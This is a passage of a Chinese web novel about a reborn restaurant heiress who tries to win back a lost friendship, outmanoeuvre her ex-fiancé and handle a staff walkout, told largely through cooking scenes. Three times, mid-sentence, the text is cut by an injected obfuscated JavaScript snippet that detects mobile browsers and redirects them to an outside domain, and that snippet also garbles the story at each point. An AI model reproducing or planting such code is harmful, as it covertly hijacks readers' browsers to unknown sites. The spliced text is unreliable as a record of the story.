胖媳妇扭脸又看看阳台上的李主任，转过脸小声和沈木犀说道。 “最近，厂子比较难，着急让他把车间租出去。这本没有什么，但是我们听说隔壁车间最近因为喝酒外出吃饭啥的总被查。我们家老李，又实在，面对那种只吃饭不明着说事的人，都不接招，就是怕绩效耽误他述职啥的，而且最重要的是也怕有人租厂子做些不好的事情，万一影响厂子发展怎么办。这段时间，估计也是因为老李不应酬的原因，很多人想给他穿小鞋。那告状信里可离谱了，说我做饭太臭，影响邻里关系。“ 话听此处，沈木犀觉得确实也有点儿扯了，她将煎好了的一面鱼翻动过来。 “最近很多人要租车间吗？” “没有啊，就来了一个男的还带一个女的。磨磨唧唧说要见老李，我给拒了。” 沈木犀手里没有停下，鱼已经煎到位了，白色肉的部分，已经有些黄焦糖色，不错，这个鳜鱼被腌制得非常好，经过高温，内里的肉还能呈现蒜瓣肉的质感。沈木犀从内心里佩服这个看着没有文化，但是做事讲究的妇人。 “为啥啊？” “为啥，男的说这是她媳妇儿，那女的说不是。你说这种作风不良的人我们能跟他聊吗？” 沈木犀本想将手里料汁倒入锅中，听到此处，不免有些心虚。 顾辰见锅正在烧着，顺手将沈木犀手中料汁倒入锅。 沈木犀这才反应过来，赶忙颠勺翻动，顾辰轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918750|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地接过沈木犀手中的炒勺，示意他来。 胖媳妇笑着：“真好呀，还是你们这样好，他们那种连男女关系都搞不好，其他的事儿都别提了。” 沈木犀没来由的被上了一课，觉得前辈说得在理。 顾辰仍是不说话，但嘴边牵起一丝笑意。 沈木犀：“你笑什么？” 顾辰：“我看姐家里的豆瓣酱特别好，你看炒出来红色纯正，酱香挂汁肯定不错。” 胖媳妇：“那肯定，这豆瓣酱，连辣椒带豆瓣都是我自己种出来做的。本来想给领居们分分，但是他们不识好赖。” 只见锅里豆瓣酱的料汁被油炒香，泛起浓厚的酱香气，胖媳妇递过来一瓶开水。顾辰接过，缓缓地加入锅中。待锅内复开后，沈木犀又把煎好臭鳜鱼放入锅中。 胖媳妇：“你们办过婚礼没有，要是没办，得抓紧时间。” 顾辰一脸认真地点点头，没有一丝破绽，沈木犀只觉得顾辰真是可以，不当演员都可惜了。 胖媳妇见二人只点头不接话，继续道：“我就是吃了没文化的亏，没上过学，又不懂技术，不然我肯定能比我们老李工资高。” 沈木犀觉得胖媳妇这种人，其实很厉害只是很多时候都被贴上标签，认为她不可以，她似乎也就会被潜移默化的认为自己就是不可以。 “姐，你有想过上学或者上个培训班什么的吗？有个一技之长，好工作啊。” “我是想啊，可是干什么呢?我倒是什么都能干，也想干。” “姐我们办烹饪培训班，成了之后，你随时过来呗。” “可以啊，我可以去啊。” 锅里鱼汤收得差不多，胖媳妇将阳台上花盆里种的蒜苗叶子递给了顾辰。 顾辰赶紧洗了将其切碎，只见蒜苗叶被热汤滚得更加翠绿，散发出浓浓蒜香。 沈木犀拿过一个鱼盘递给顾辰，将鱼盛出锅。 胖媳妇追着沈木犀的动作继续询问：“我……我可以出学费，让我去上课就行。” “姐，你来就是，我给出学费。” “这怎么行，你们是办班儿的，要是不收我的学费，他们会说你们这是……这是，对！行贿。” 李主任：“是啊，我们的学费必须交的。” 只见一条完整的臭鳜鱼摆上了餐桌。 胖媳妇：“说好啊，你们学校赶紧办，我第一个报名。” 李主任盯着桌上的诱人的鱼，一心只想吃饭了。 胖媳妇：“你赶紧给人办了那个地址的事儿，别被另外那两口子给搅黄了。” 李主任：“那俩人哪是什么两口子，最多算姘头。听说那男的叫陈炎，这两天被准丈人家给拒了，不让他入赘了，这两天都没再来烦我。” 胖媳妇：“看到没有，还得是有稳定关系的人才能一起做事情。” 胖媳妇转头嘱咐二人，顾辰笑着使劲点头。 沈木犀哂笑不知道怎么接话，感觉自己被说了八卦，但是又被人嘱咐要好好处对象。 12. 猪油炒饭 沈木犀带着李主任手写的资料准备清单，心满意足地出了宿舍单元门。 李主任嘱咐她，周一把所有资料带上，上班时间找他，就可以签字盖章当面过合同走完所有流程了。 沈木犀觉得是不是有点儿太快了，但是李主任说，如果可以他希望时间再快一点。 他想让胖媳妇早点出去学手艺，有个一技之长，不然他还得天天在家和她斗法，万一再影响夫妻感情，得不偿失。 李主任赶忙出来送人，挥手道别，脸上写着几个大字“赶紧的吧！” 顾辰见沈木犀还在想着什么，没搭腔正想一脚油门带着沈木犀离开，扭头却发现沈木犀已经不在车里了。 沈木犀隔着一楼的另一个阳台，朝里屋候着，有人在阳台的厨房做饭。 不用猜就知道，猪油炒饭。 沈木犀的脑袋出溜的位置，正好能闻见锅内的饭菜。 那锅灶用两块红砖垫了起来，燃气灶下是镂空的，显出白色瓷砖来，造面上擦得一水干净。 这做饭的人很仔细，一看岁数不大，年纪也很轻，约摸19岁的样子。她将饭抖散再快速在锅内炒着。 油香在一步步和米饭结合，还需要再猛火炒一会儿，水气都得炒掉才可以。 这碗猪油炒饭，不要加酱油，加一点点盐，最后再从老坛里夹一根酸酸的泡豇豆放在饭上才过瘾。 那女孩儿终是发现了沈木犀。 女孩儿：“咋了，你以为你不开口说话就可以了？我还得请你进来吃饭呗？” 沈木犀也没有藏着掖着：“春儿，你这饭做得怪好吃的呀！” 春儿名叫方木春，是沈木犀在子弟校从小到大的同学，俩人玩儿的最好。 春儿上辈子因为沈木犀要嫁陈炎就断了和她的联系。 春儿一家都是知识分子加工程师，骨子里就透着高傲的性格。 上辈子方木春觉得沈木犀好歹是读过书的，怎么能接受上门女婿这种事情，她觉得沈木犀多少是把书又读回脚肚子里去了。 她不想和这样的女人再耗下去，她怕哪天还得去给她写离婚诉讼的状纸，太不好了，赶紧掰了最好。 沈木犀现在想想春儿当年显出的那些不近人情，现在看来却是一个脑子很清醒的人。 上辈子，沈木犀每每回忆起来都觉得这样失散掉的友谊十分可惜，但是面对生活中的境遇又觉得只能如此。 沈木犀看到李主任家地址的时候就发现了其实就在春儿的隔壁。 临了要走时，觉得这个曾经在生命长河中走散的朋友因为一个渣男而断交实在可惜。 所在这一次再次走在了岔路口上，沈木犀觉得这口炒饭还是得吃。 沈木犀：“你那炒饭给我留一口。” 方木春：“饭可以给你留，但是要先确定你和陈炎是不是吹了。” 沈木犀：“那是肯定啊，不然你这碗饭，我是不敢来吃。” 方木春挎着的脸，稍显得温和起来，她快速将碗盛好饭，从屋内小跑了出来。 沈木犀看着油亮油亮的饭上面还有一根熟悉的泡豇豆，外加一根泡嫩姜。 沈木犀赶紧接过，使劲地往嘴里扒拉了两口。 香气瞬间从口腔蹿入鼻腔，如此循环往复，米饭炒得粒粒分明，又有油，润得恰到好处。 最后再把嫩脆的泡嫩姜咬上一小口，脆地酸牙，再快快地扒拉一口米饭。 这样的晌午阳光下，沈木犀其实是吃饱饭来的，却埋头狠狠吃起来，不觉得掉下眼泪。 多少个少年时期的日子，方木春都是陪伴自己形影不离的小伙伴，那个物资紧俏的年代，虽然自己家是做酒楼生意的，不太愁吃喝，但是方木春仍是能从自己的碗柜里变出许多好吃的给自己。 这道猪油炒饭哪怕是没有酱油，仍是沈木犀记忆里青春友谊的味道。 方木春觉察着不对劲，都没来得及问一旁的顾辰是谁。 方木春：“你可别说我这个不如你们家那些个大厨做得好啊。给你吃美了，吃哭了？” 沈木犀噗嗤，笑得差点儿喷饭，简直抒情不了一点。 沈木犀：“你这泡菜就是更好吃啊。” 方木春：“开玩笑，那可是沾了我们方家祖传的手，有厨子基因。” 说到这里，方木春想想就来气，继续：“不过你们家大厨可不是这么说的，他说女人不可以进后厨学厨。” 方木春自从确定了沈木犀不再嫁陈炎，所以什么好赖话都往外说。 沈木犀上辈子只觉得方木春单单看不上陈炎，觉得他是遵从封建婚姻的保守派，此话听着原来还是陈炎先狗在前啊。 陈炎就是秉持了女人不得入后厨的歪理，这样就能更好的把控住沈木犀和沈家酒楼。 “谁说女人不得进入后厨和成为主厨的？”顾辰冷不丁地冒出一句话，真是很难让人忽略了他。 方木春看着一表人才的顾辰，顿时觉得手里的猪油炒饭不香了。 怪不得沈木犀不嫁人了，答应得这么干脆，方木春想着想着差点都要把想法说出来。 沈木犀：“哎呀，你别一天天乱想。” 方木春啥也没说，到落下个乱想，她和沈木犀一同对视，紧接着一同大笑，惹得周围人纷纷打望。 见两人相处得这么开心，顾辰打算再多等一会儿，他将车钥匙拔了下来。 还不等方木春和沈木犀笑完，就听到一阵略有节奏，又含有敌意的鼓掌声。 真是令人讨厌。 “我就想，沈木犀怎么突然说不想结婚就不结婚了，原来是因为你这个坏朋友的挑唆。”陈炎那张脸随着声音由小到大，显得具体。 方木春：“你说谁呢？” 陈炎：“我说你，方木春，三年高考都考不上，一家学历你最低。” 陈炎打人七寸，真是疼。 方木春一家知识分子，上辈子方木春高考失败。 她觉得如果真是考不上，学学做菜也挺好，还能和沈木犀一起。 但是陈炎见方木春只是一个工厂子弟，没什么利用价值，一句后厨不招女徒为由就将方木春打发走了。 那时候对于方木春一家都是一个不小的打击。 他们觉得无脸，好歹一家都是工程师，舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918751|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈姑妈都是一线上的技术工，是年年市里的三八红旗手，偏偏到了方木春这里还因为女徒不入后厨被酒楼拒了。 从自尊和情谊上方木春心里都过不去，她多少也积攒了对沈木犀的怨气，而这一切上辈子的沈木犀都不知道。 既然今天沈木犀知道了，那闺蜜的这口恶气也必须得出了。 沈木犀心下一策，陈炎不让女徒入后厨，那李主任的胖媳妇可怎么办呢？ ”你今天来这儿干嘛？” 陈炎支支吾吾：“我……我……” “来找李主任的吧，签字办场地的事儿？” “是……是啊。” “我帮你叫。” 陈炎感觉沈木犀对自己的态度还是有转圜地余地，身体也稍显轻松起来。 沈木犀扭脸：“李主任，有客人，您这会儿方便出来一下吗？” 李主任透过阳台，小碎步走了出来。 陈炎透过阳台赶忙招呼：“李主任好啊，我是那个烹饪培训班的校长，不是，是那个负责人。”见沈木犀还在当场，又把自己的名头换了换。 李主任莫名看着陈炎，胖媳妇也跟着走了出来，在一旁瞧着。 “我们之前联系过您，就是那个……” 胖媳妇：“就是那个说是两口子，又不是两口子那个是吧。” 陈炎：“对对对……“ 陈炎一时发现沈木犀在一旁又赶忙改口“不是不是。” 沈木犀憋笑脸都要红了。 李主任：“是这样，你们那个手续啊，不对，你们来晚啦，我这边已经和沈姑娘谈妥了，明天资料签订就可以了。” 陈炎：“不是，李主任，我们其实是一家的，不过吧……虽然是一家的，但是，是我先找您的啊。” 李主任：“是吗？之前找过了？但是我刚听说你是不是不收女学生啊。现在时代变革，烹饪学校这么好的事情，一技之长，怎么还分男女呢？应该人人平等的呀，我们车间里的三八红旗手都可多了，每年市里都是重点表扬的单位。现在沈姑娘她们这个办学理念就很好，家庭妇女也可以接收学习。我们家还打算第一个报名呢。” 说着李主任看着胖媳妇笑笑。 方木春：“我第二个报名。” 陈炎一时不知道怎么回答，也不知道怎么拒绝，当着大家的面，脸是变了一茬又一茬。 曾经用来限制那些不利于自己的理由，怎么现在一直推着自己向反方向在走。 陈炎耷拉着脑袋，骑着自己的自行车转头走了。 见陈炎离开，沈木犀快走几步，看到拐角放着一瓶赤水酱香酒。 陈炎落下的，见好多人在，又不好拿出来，一时走得急，落下了。 沈木犀把酒给了李主任，李主任不收。 方木春：“李主任你这身份太特殊了，给我吧，就当我白捡一便宜。” 众人哄笑，觉得合理。 沈木犀：“春儿你拿着吧，反正也是我沈家酒楼的东西。” 沈木犀看着方木春开心地将酒拿回家，心道。 就当我为上辈子丢失的友谊赔罪了！ 13. 茉莉花茶汤泡饭 这一个中午，沈木犀就吃了两顿午饭，胃里和情绪都得到极大的满足。 初夏，锅炉厂家属院的花坛里开满了茉莉花，沈木犀借着深呼吸闻花香的方式缓解吃多了不消化的尴尬。 沈木犀微蹙的眉头，手捏着衣角，这些细小的动作都被顾辰看在眼里，他发动偏三轮，示意沈木犀上车。 沈木犀趁着回沈家酒楼的功夫，在座位上仔细阅读着李主任给的资料。 顾辰见沈木犀嘴唇泛干，从一侧的车门上，递过来一个玻璃茶杯，里面是放凉了的茉莉花茶，白花飘雪，茶汤琥珀剔透。 沈木犀看着就觉得很解渴，觉得这小师弟真是有眼色，上一世怎么没有发现这么一个透气的小师弟。 于是沈木犀在初夏的风中，将茶杯打开。 一股浓郁的茉莉花茶香扑面而来，一大口花茶下肚，整个口腔都充斥着茉莉的香气。 沈木犀摸摸自己肚子，琢磨着要不是自己现在是20岁，基础代谢还算在线，她都苦恼自己今晚是不是要把老南城跑一圈，怕吃多了晚上睡不着盗虚汗。 最后还得去找菜市场那蒙古大夫抓药、煎药、灭炉子…… 上一世的景象在沈木犀的脑海中快速出现，马上又要想到中年陈炎带着顾星河在沈园搂搂抱抱，再是沈家酒楼的招牌倒下的画面…… 太吓人了，沈木犀吓得不经意间打了一声小嗝。 顾辰放慢车速，靠边停车。 沈木犀心下觉得太尴尬了，好歹自己也是师姐。 见顾辰扭脸看向自己，沈木犀正琢磨着怎么化解尴尬，就见顾辰缓缓地凑到她身前，沈木犀全身僵硬，顾辰仍在渐渐靠近。 沈木犀快要感受到顾辰呼出的鼻息，就在沈木犀看到顾辰长长的睫毛时。 顾辰将车门抽屉上的一条红色围巾，从后向前系在了沈木犀的脖子上，又轻轻地向上带了带，遮住了沈木犀嘴。 “估计是我开太快，让你喝着冷风了。” 沈木犀很不自在，手惯性的向下扯了扯围巾。 “带好，一会儿该胃疼了。” 顾辰没看沈木犀，发动车子，继续向前。 沈木犀瞬间就不打嗝了，竟鬼使神差的停止了手上的动作，让围巾就待在了自己的嘴边。 她低头看手里的资料，怎么已经翻了好几页了？刚才看到哪儿了？沈木犀蹙着眉，又得重头看，于是从头翻阅起来。 顾辰从后视镜里看到沈木犀迷迷糊糊的样子，觉得可爱，嘴角牵起一丝笑意。 沈木犀仍是仔细看着资料，肠胃里确实是比打嗝前好了太多。 余光中看到脖子上的围巾，沈木犀再抬头想要感谢时，发现顾辰已经将车开到了沈家酒楼的门口了。 沈木犀还在尴尬如何开口道谢，就听见应红扯着嗓子从酒楼内往外大声喊。 “姐姐！出大事！天塌了呀！” 上一世，沈木犀和应红虽然业务上打交道的少，但她那咋咋呼呼地的做派是常有的事儿，沈木犀早就习惯了。 沈木犀手摸了摸耳发，让应红注意自己头上的发卡。 “好好说。”沈木犀是有威胁意味的，示意应红收敛起自己的性子，不然就要收回礼物。 而这一次，应红并没有在意那漂亮发卡，闭眼，深呼吸再次大声重申。 “真天塌了！”应红冷脸，“大师兄带着所有师兄弟，静坐在大堂，不开工。” “我爹呢？” “去场镇上，跟叶三叔配香料去了。” 很好，这是沈木犀那遇事躲事的爹，该有的样子。 “好，辛苦了。”说完，沈木犀将手里的茉莉花茶杯递给应红，一时让应红有些发愣。 “喝点儿茶，压压惊，我来处理。” 应红看着沈木犀身后的顾辰，并没有接过沈木犀的杯子。 这个玻璃杯应红认得，前些时日，有人拿小师弟打趣，非要喝他杯子，顾辰从来温和待人，但唯独这杯子不让人动。应红想起那天顾辰和人打得红眼，就不太敢接。 应红又瞄了瞄沈木犀，觉得奇怪，怎么这个小师弟的杯子，沈木犀就摸得？ 顾辰也很识趣，悄无声息的将杯子收好，揣进了裤兜里。 沈木犀现下心里有事，也没理会应红为什么不要这杯子，快步往沈家酒楼的大堂去了。 ****** 大堂里的时钟显示下午两点一刻。 陈炎带着一众师兄弟在打牌，喝茶，瓜子果皮也散落了一地。 门外似有人来，陈炎稍有警觉，见来人是沈木犀，就又将手里的大牌往外一甩。 “三个二带一对。给钱给钱。” “大师兄，今天手气这么兴！都连赢了好几把了。” “我都要被开了还手气兴，又拿我打镲。” 二师兄见沈木犀已经来到陈炎身边，向大师兄使了使眼色。 陈炎扭转脸，完全转变了一副嘴脸，故作和气的和沈木犀说话。 “木犀啊，你看现在晚上还有好几桌预定，咱们现在开工还来得及吗？” 沈木犀也笑盈盈的“那得看看晚上预定的单子。” 应红眼疾手快将晚上的预定菜单立时交到了沈木犀的手里。 “豆瓣鱼、鱼香肉丝、李庄白肉、灯影牛肉、椒麻鲜桃仁、冲菜、红烧海参、开水白菜、红烧肉、白糖西红柿。” 应红一一报着菜名，沈木犀详细翻看订餐人数和就餐时间。 “晚上有个满月酒，4桌人，大概5点半需要就餐。”陈炎淡淡的陈述着，像是一点也不着急。 “现在2点1刻，这餐应该是出不了吧，大师兄。”沈木犀抬眼看向陈炎。 “有出的办法，也有不能出的理由。”陈炎环抱着双臂看着沈木犀。 “开水白菜，需要多少时间？”沈木犀仍在翻看订单。 陈炎嗤笑出声“小师妹又考我呢？”，反问完沈木犀又看向众师兄弟。陈炎露出一脸现在这个局面，你沈木犀还要死撑，真是不自量力的表情。 “开水白菜主料为老母鸡、老母鸭、火腿肉、干贝等食材，去杂调制至少4小时。”顾辰温声开口，看向沈木犀。 陈炎仍是一副无所谓的样子，“很多菜也不是非得按照菜谱上做啊。” “大师兄，你觉得能点开水白菜的人，能接受你两分钟茶泡饭吗？” 沈木犀轻笑了一声，盯着陈炎。 沈木犀只觉得陈炎这种对待菜品如此敷衍的态度，真是太令人生厌了。上一世怎么能容了他接管沈家酒楼。 这一刻沈木犀生怕陈炎又动了什么心思想要回头是岸，继续道。 “既然大家摆明了不想出餐，今晚的订餐就先推掉吧，并且三倍餐费赔付给预定的客人。”沈木犀开口，应红一脸不可置信。 应红脑子里快速运转，即便三倍赔付预定的客人，这些人今天明显是不想再干活了，今晚大堂的客人又如何安排的呢？ “应红，今晚打烊歇业，如果我们不具备出餐能力，就直接关店到找到新的主厨为止。”沈木犀站在众人面前，一脸没有任何商量余地的表情。 “木犀啊，可是赔付三倍，这钱……？" 应红聪明得不是一点儿半点儿，她想再有点儿转圜的余地。 毕竟陈炎身后的一些师兄弟也明白，沈家酒楼一旦关店歇业，直接受影响的也是他们这讨生活的。 “如果师兄弟们愿意留下，今晚的赔付都算在我头上。但是执意要走，今晚的赔付，就直接算在各位的月钱里。”沈木犀此话一出，有好几个师兄弟明显没有了刚才陈炎刚才撂狠话时得意的样子，纷纷往后挪了挪。 “可以啊，沈木犀，既然你把话都说绝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918752|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们也就不便多说什么了？”陈炎偏过头，和要好的二师兄、五师弟，还有三五个切墩、白案，直接站出，甩手离开了沈家酒楼。 陈炎还没走出几步，停下。 “哦，对了，你们关店歇业都是你们的事，主厨的比拼，沈木犀你别忘了。” “忘不了，我这还忙着学校的事儿呢。”沈木犀挥着手里的资料单，眼里全然不怯陈炎此刻对沈家酒楼釜底抽薪之举。 陈炎看着那些资料，很清楚，一时无法完全制约沈木犀。 毕竟他还得稳住顾星河那边，万一沈木犀在主厨之日真把自己撵走了，他还得在顾星河这儿想想办法如何扳回一城。只是现在陈炎觉得自己太过被动，两个鼻孔直哼出声，带着他的人离开了沈家酒楼。 众人直接散去，应红也将“今日打烊”的牌子挂在了大门上。 这青天白日的沈家酒楼闭店了，真是奇了怪了，引得街上路过的人纷纷侧目。 沈木犀见大门被掩上，室内光也稍稍暗了一点，心里一时有些不是滋味。 身体也不像先前紧绷，放松了下来，沈木犀觉得怎么还有些支撑不住？直直地想要倒下去，却在歪斜的那一刻被人牢牢地抱住，那怀抱温暖宽厚。 是顾辰。 沈木犀胃里一时绞痛，额上出了一层密密的汗。 “热水。”顾辰扭脸看向回来的应红，应红立时又去倒过水来。 沈木犀喝下好了很多，是茉莉花茶。 这胃痉挛的滋味沈木犀还是第一次感受到。 估计是这两日身体对于她重生也有些应激，吃喝也不规律，身体在抗议吧。 沈木犀没说话坐在大堂的里，这一切都被顾辰看在眼里，应红尴尬地也不知道是安慰沈木犀好还是整理心情收拾下大堂，就在几人气氛尴尬之时，门外来了三人。 “打扰了各位了，虽然我看饭店门口写着打烊了。但是我家孩子们太饿了，没多少钱，想讨口花茶，泡点米饭吃，行吗？” 三人齐齐转身看向门口。 只见一个白胡子老人带着两个5、6岁大的孩子站在了门口。 五分钟后，应红将沈木犀面前的桌子收拾出来。 三人入座了八仙桌，应红给三人分别发了碗米饭，又将一壶热得透透的茉莉花茶放在了老爷子面前。一套动作行云流水，应红这才看到这一双孩子竟长得一模一样，还来是一对龙凤胎。 那老爷子，将其中一碗米饭放在自己面前，抬眼看看两个孩子。 那俩孩子，也跟着老爷子的样子有样学样。 老爷子将热花茶徐徐地倒入白米饭里，直到茶汤完全覆盖白米饭。 两个孩子照做动作，只是一个女孩儿站着，一个男孩儿坐着。 老爷子从包袱里掏出一罐子，是咸柠檬。 他用一个干净的小刀挑出，又在应红给的小碟子里小心切碎。 只给自己的碗里和男孩儿的茶汤上放了2、3片。 女孩儿看着爷爷的碗里和男孩儿的碗里都有，咽了下口水，盯着咸柠檬，一脸想要。 老人家看着两个孩子道“开吃吧。” 老人家并没有像要给女孩儿一点儿咸柠檬的意思，她还站在桌前，老人家颔首示意，让她端起碗吃。女孩儿一脸不愿意的拿起碗。 于是双脚分开，扎起马步，端着碗，开始吃起了那碗只有茉莉花茶味的茶汤泡饭。 这也与坐在旁边的男孩儿鲜明对比。 但女孩人和男孩儿也还算乖，仔细地吃着自己碗里的花茶泡饭。 老人家转头看向沈木犀“谢谢掌柜的。” 沈木犀奇怪，老人家怎么瞬间能分辨谁是老板？ 沈木犀点头笑笑，再细瞧那两个小孩儿，就在两个孩子抬眸的瞬间，沈木犀认出了来人。 ——是陈炎的那对私生子女。 14. 炸土豆 老爷子坐在八仙桌上，吃饭的速度明显放慢，他细瞧着眼前的这碗茶汤泡饭。 “明美，今天的米饭怎么样？” 小女孩见老爷子问她，碗里还剩一点饭，于是一口气全刨进嘴里，拿出一张干净的棉手帕，擦干净嘴，又将手帕叠好放进自己上衣兜里。 “爷爷，这米饭是山泉水蒸的很好吃，但是好像掺了一些旧米，陈米容易断，整碗米饭的均匀度不是很好。好在茉莉花茶不错，茉莉窨了5次以上，这道茶汤泡饭算上乘的。” 那小女孩认真地看着老爷子，好像在等一个回答，一个认可她的回答。 应红有些着急，“小姑娘你可不能乱说啊，陈米我们家都是不进的。” 沈木犀拦住应红，小姑娘一脸认真。 “姐姐，你看这个米里有断的，新米不是这样的。” 那小女孩儿也就和八仙桌一般齐，抬着头看着应红，指着桌上还剩下的米饭。 沈木犀走近拿过一看，确实如此，又递给应红。 城里人不和五谷打交道知道的少，不足为奇，但是应红从小在乡里长大，陈米旧米太清楚不过了。 陈米口味上差不说，容易断，口感上差很多。很多节约的家庭精打细算，剩下每月的伙食费，在菜市场的粮油店里还是会选择一些陈米的。毕竟这个年代，即便是在城镇生活工作，人们一天的体力活还是干的多。家里的主要劳力一顿两碗饭是肯定的。 沈木犀赶紧翻看自己采买清单，不应该啊，采买都是自己经手的。掺米这种事情，也过不了陈炎的手，这里面应该还有其他的事情。 沈木犀暂时还没有头绪，看着陈炎的两个孩子，虽然穿的都是一身粗布，但是非常干净。家里一看都是有人在张罗收拾的。只是这一次，比上一世沈木犀见两个孩子时间更早。 上一世，沈木犀是在和陈炎婚后的第五年才见的孩子，那时候围绕在沈木犀身边的声音全是生孩子。陈炎也一天天越来越不像话不着家，沈木犀总在犹犹豫豫。 沈木犀永远记得那天，沈国华身体开始愈发不好，躺在沈园的院子里，拐着弯问沈木犀什么时候要孩子。沈木犀不搭腔。 良久，沈木犀告诉沈国华，外面传陈炎已经要把沈家酒楼该姓陈了。沈国华也不搭腔。 只听得秋风把整个院子吹得吱吱作响。 其实现在想来，沈家酒楼的寒风就是从那时候就开始吹起来的。 当时陈炎就在二人谈话的档口，把那两个孩子带进了沈园。 9、10岁样子，小女孩儿明显比小男孩儿更高了，见到沈木犀就瞪着她。那倔强的眼神，和刚才看她爷爷的眼神一模一样的认真。 陈炎带着两个孩子扑通一跪，跪到夜里。 沈木犀和沈国华完全招架不住这种。 让陈炎带着两个孩子别再踏进沈园。后来沈木犀很少见这两个孩子，听说在别处当厨，一身本领。后来两个孩子把陈家酒楼开在了沈家酒楼的对门。 陈家酒楼开业当天，那女孩儿，盯着沈木犀看了很久…… 这么想来陈炎虽然没有完成把沈家酒楼变成陈家酒楼的愿景，但是他的一双儿女是办到了。 而想到这里，沈木犀再看眼前，确实恍如隔世。 沈木犀觉得奇怪，为什么老爷子对待两个孩子区别这么大。 应红没有太注意这边的三人，顾辰也在帮忙打扫着里里外外的卫生，即便今天不开张，明天也得开门。那老爷子也很自觉，带着两个小孙子也在顾辰身后好好归置起来。 见沈木犀回过神来，老爷子走向沈木犀。 老爷子：“掌柜的，我是两个孩子的姥爷，是进城来寻孩子父亲的。但留下的地址不对，没找到人。钱也用完了。能不能在您这儿歇歇脚，我可以干些活儿，只要给我们爷三一个住处和三餐就行。” 这边老爷子来意言简意赅，那边应红的耳朵都快支棱到沈木犀的跟前了。一个快步的走到沈木犀跟前，偏头小声说。 “姐，让他们留下，这老爷子一看都懂做菜，而且明天还有预定，万一那些狗东西师兄弟们不回来，老爷子哪怕是传个菜也算是帮大忙了。” 沈木犀还在犹豫，其实她不太清楚，万一明天陈炎又撞见了这三人会不会把沈家酒楼又搅合的鸡飞狗跳。 他们留下能帮忙，但是…… “我是乡厨，主做红白喜事的。我刚才跟着这个小兄弟看了一眼菜单，您家店里的菜，大致可以弄的下来。” 沈木犀感觉自己瞬间明白了什么。 原来陈炎的那些基本功都是前一个老丈人手把手教的。 沈木犀见两个孩子也在乖乖地拿着比他们人还高的笤帚，有模有样地扫着。 一切关于陈炎的坏，这一世和上一世都不应该计较在孩子身上。加上这一世，陈炎也会和自己没有关系。这对儿女或许于自己而言也就没有那些芥蒂了。 “你看看这小姑娘得多厉害啊。”应红拿着暖水瓶倒了满满一壶的花茶水，“五次窨花都能尝出来，这究竟是什么舌头啊？你爹总是吹你小时候能尝百味，我都不信。看到她我……”应红竖起大拇指，拿过一杯热茶递给沈木犀。 沈木犀又递给老爷子。 “行，老爷子您留下吧，我这儿也巧了正好缺人。为了留用，您能给我做12个八宝饭吗？” “是谁家有孩子满月吗？” “对，我们晚上本来有一桌预定，但是今天开不了工了，您说您是乡厨，这个道菜您肯定可以。” “没问题，我来，什么时候出餐。” “2个小时吧。” “可以掌柜的。” “至于住的地方，我让应红安排您三位去二楼里间的库房可以吗？” “太感谢了。” 应红赶忙将老爷子的包袱收到前台，将老爷子带向后厨，没走几步，老爷子停下，转身看向两个孩子。 “他俩如果调皮，可以让他们挑黄豆。” 老爷子看着沈木犀，一脸认真。 “没事儿，我这会儿去一趟人民路，在展销馆买点东西。我带他倆一起去，过会回来。” 一听到沈木犀逛街，两个孩子眼睛一亮。 “那麻烦大当家的了。” 做菜是专心的活儿，加上后厨里开火，很多不安全的因素，前厅现在也要忙着收拾。老爷子的担心也在理。 沈木犀看向顾辰，顾辰会意，带着老爷子一同去后厨了。 ****** 两世的记忆里，沈木犀还是第一次带孩子，这孩子由于是陈炎的，沈木犀既熟悉又陌生。这种感觉不别扭就怪了。 她没法和孩子套近乎，但是也很清楚孩子们最想要什么。 她在小明美这么大的时候最想要的就是零食、汽水。 于是她带着两个孩子先到门口李婶那儿，给她们三个，一人买了一瓶峨眉雪汽水。 这是一种乳清色的荔枝味汽水饮料，最近刚上市，俏得很，快把可口可乐卖过了。 明美看着沈木犀递过来的饮料，一时不敢接，就瞧着一旁的小男孩儿抢。 但是那小男孩儿也不会打开，于是沈木犀把另一瓶汽水塞进明美的手里。沈木犀拿过小卖店的开瓶器，当着两个小孩儿面，“砰”的打开。 豪无预料过的声音，惊得两个孩子，身子也跟着一颤。 二人也不敢多说话，一人接一个，学着沈木犀的样子狠狠地喝了一大口。 但是很快，由于大量的汽冲得二人脑袋直打抖。 于是沈木犀看着两个小人笑了出来。 “好喝吗？” ”好喝！”小男孩儿点点头，看沈木犀的眼神都不太一样了，一脸大英雄的样子。 明美则不一样，一脸不可置信的样子，似恐惧似惊讶。见沈木犀看着她，意识到要回答问题了，深思了片刻答道。 “太好喝了！” 明美的脸上显露出来的惊喜，沈木犀才意识到一个问题。 明美应该从来没有吃过特别甜和刺激的味道。 